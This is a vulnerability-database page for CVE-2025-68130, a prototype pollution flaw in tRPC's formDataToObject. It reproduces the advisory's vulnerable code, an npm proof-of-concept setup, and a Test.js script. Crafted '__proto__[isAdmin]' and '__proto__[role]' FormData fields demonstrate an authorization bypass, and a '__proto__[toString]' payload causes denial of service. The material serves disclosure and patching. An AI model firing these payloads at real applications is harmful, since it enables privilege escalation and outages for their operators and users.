Vulnerability-Lookup

CVE-2025-68130 (GCVE-0-2025-68130)

Vulnerability from cvelistv5 – Published: 2025-12-16 16:50 – Updated: 2025-12-16 21:38

Title

tRPC has possible prototype pollution in `experimental_nextAppDirCaller`

Summary

tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.

Severity

8.5 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-12-16 21:38 UTC

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/trpc/trpc/security/advisories/…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
trpc	trpc	Affected: >= 10.27.0, < 10.45.3 Affected: >= 11.0.0, < 11.8.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-68130

Vulnerability from fkie_nvd - Published: 2025-12-16 17:16 - Updated: 2026-06-17 09:58

Severity

8.5 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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      "affectedData": [
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          "product": "trpc",
          "vendor": "trpc",
          "versions": [
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              "status": "affected",
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    }
  ],
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  "lastModified": "2026-06-17T09:58:34.183",
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GHSA-43P4-M455-4F4J

Vulnerability from github – Published: 2025-12-16 19:37 – Updated: 2025-12-16 19:37

Summary

tRPC has possible prototype pollution in `experimental_nextAppDirCaller`

Details

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

Package: @trpc/server
Affected Versions: >=10.27.0
Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }

    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

# Step 4: Create the test file

Test.js

const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

Severity

8.5 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@trpc/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.27.0"
            },
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            }
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          "type": "ECOSYSTEM"
        }
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    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@trpc/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T19:37:57Z",
    "nvd_published_at": "2025-12-16T17:16:11Z",
    "severity": "HIGH"
  },
  "details": "\u003e Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`.\n\n## Summary\n\nA Prototype Pollution vulnerability exists in `@trpc/server`\u0027s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.\n\n## Affected Versions\n\n- **Package:** `@trpc/server`\n- **Affected Versions:** \u003e=10.27.0\n- **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Vulnerable Code\n\n```typescript\n// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts\nfunction set(obj, path, value) {\n  if (path.length \u003e 1) {\n    const newPath = [...path];\n    const key = newPath.shift();  // \u2190 No validation of dangerous keys\n    const nextKey = newPath[0];\n\n    if (!obj[key]) {  // \u2190 Accesses obj[\"__proto__\"] which returns Object.prototype\n      obj[key] = isNumberString(nextKey) ? [] : {};\n    }\n    \n    set(obj[key], newPath, value);  // \u2190 Recursively pollutes Object.prototype\n    return;\n  }\n  // ...\n}\n\nexport function formDataToObject(formData) {\n  const obj = {};\n  for (const [key, value] of formData.entries()) {\n    const parts = key.split(/[\\.\\[\\]]/).filter(Boolean);  // Splits \"__proto__[isAdmin]\" \u2192 [\"__proto__\", \"isAdmin\"]\n    set(obj, parts, value);\n  }\n  return obj;\n}\n```\n\n### Attack Vector\n\nWhen a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData:\n\n```typescript\n// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89\nif (normalizeFormData \u0026\u0026 input instanceof FormData) {\n  input = formDataToObject(input);  // \u2190 Vulnerable call\n}\n```\n\nAn attacker can craft FormData with malicious field names:\n\n```javascript\nconst formData = new FormData();\nformData.append(\"__proto__[isAdmin]\", \"true\");\nformData.append(\"__proto__[role]\", \"superadmin\");\n```\n\nWhen processed, this pollutes `Object.prototype`:\n\n```javascript\n{}.isAdmin        // \u2192 \"true\"\n{}.role           // \u2192 \"superadmin\"\n```\n\n## Proof of Concept\n\n```bash\n# Step 1: Create the project directory\n\nmkdir trpc-vuln-poc\ncd trpc-vuln-poc\n\n# Step 2: Initialize npm\n\nnpm init -y\n\n# Step 3: Install vulnerable tRPC\n\nnpm install @trpc/server@11.7.2\n\n# Step 4: Create the test file \n```\n---\n\n### Test.js\n\n```javascript\nconst { formDataToObject } = require(\u0027@trpc/server/unstable-core-do-not-import\u0027);\n\nconsole.log(\"=== PoC Prototype Pollution en tRPC ===\\n\");\n\nconsole.log(\"[1] Estado inicial:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\n\nconst fd = new FormData();\nfd.append(\"__proto__[isAdmin]\", \"true\");\nfd.append(\"__proto__[role]\", \"superadmin\");\nfd.append(\"username\", \"attacker\");\n\nconsole.log(\"\\n[2] FormData malicioso:\");\nconsole.log(\u0027    __proto__[isAdmin] = \"true\"\u0027);\nconsole.log(\u0027    __proto__[role] = \"superadmin\"\u0027);\n\nconsole.log(\"\\n[3] Llamando formDataToObject()...\");\nconst result = formDataToObject(fd);\nconsole.log(\"    Resultado:\", JSON.stringify(result));\n\nconsole.log(\"\\n[4] Despu\u00e9s del ataque:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\nconsole.log(\"    {}.role =\", {}.role);\n\nconst user = { id: 1, name: \"john\" };\nconsole.log(\"\\n[5] Impacto en autorizaci\u00f3n:\");\nconsole.log(\"    Usuario normal:\", JSON.stringify(user));\nconsole.log(\"    user.isAdmin =\", user.isAdmin);\n\nif (user.isAdmin) {\n    console.log(\"\\n    VULNERABLE - Authorization bypass exitoso!\");\n} else {\n    console.log(\"\\n    \u2713 Seguro\");\n}\n```\n\n## Impact\n\n### Authorization Bypass (HIGH)\n\nMany applications check user permissions using property access:\n\n```javascript\n// Vulnerable pattern\nif (user.isAdmin) {\n  // Grant admin access\n}\n```\n\nAfter pollution, **all objects** will have `isAdmin: \"true\"`, bypassing authorization.\n\n### Denial of Service (MEDIUM)\n\nPolluting commonly used property names can crash applications:\n\n```javascript\nformData.append(\"__proto__[toString]\", \"not_a_function\");\n// All subsequent .toString() calls will fail\n```",
  "id": "GHSA-43p4-m455-4f4j",
  "modified": "2025-12-16T19:37:57Z",
  "published": "2025-12-16T19:37:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trpc/trpc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tRPC has possible prototype pollution in `experimental_nextAppDirCaller`"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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Action not permitted

CVE-2025-68130 (GCVE-0-2025-68130)

FKIE_CVE-2025-68130

GHSA-43P4-M455-4F4J

Summary

Affected Versions

Vulnerability Details

Root Cause

Vulnerable Code

Attack Vector

Proof of Concept

Test.js

Impact

Authorization Bypass (HIGH)

Denial of Service (MEDIUM)

Tags

Sightings

Nomenclature

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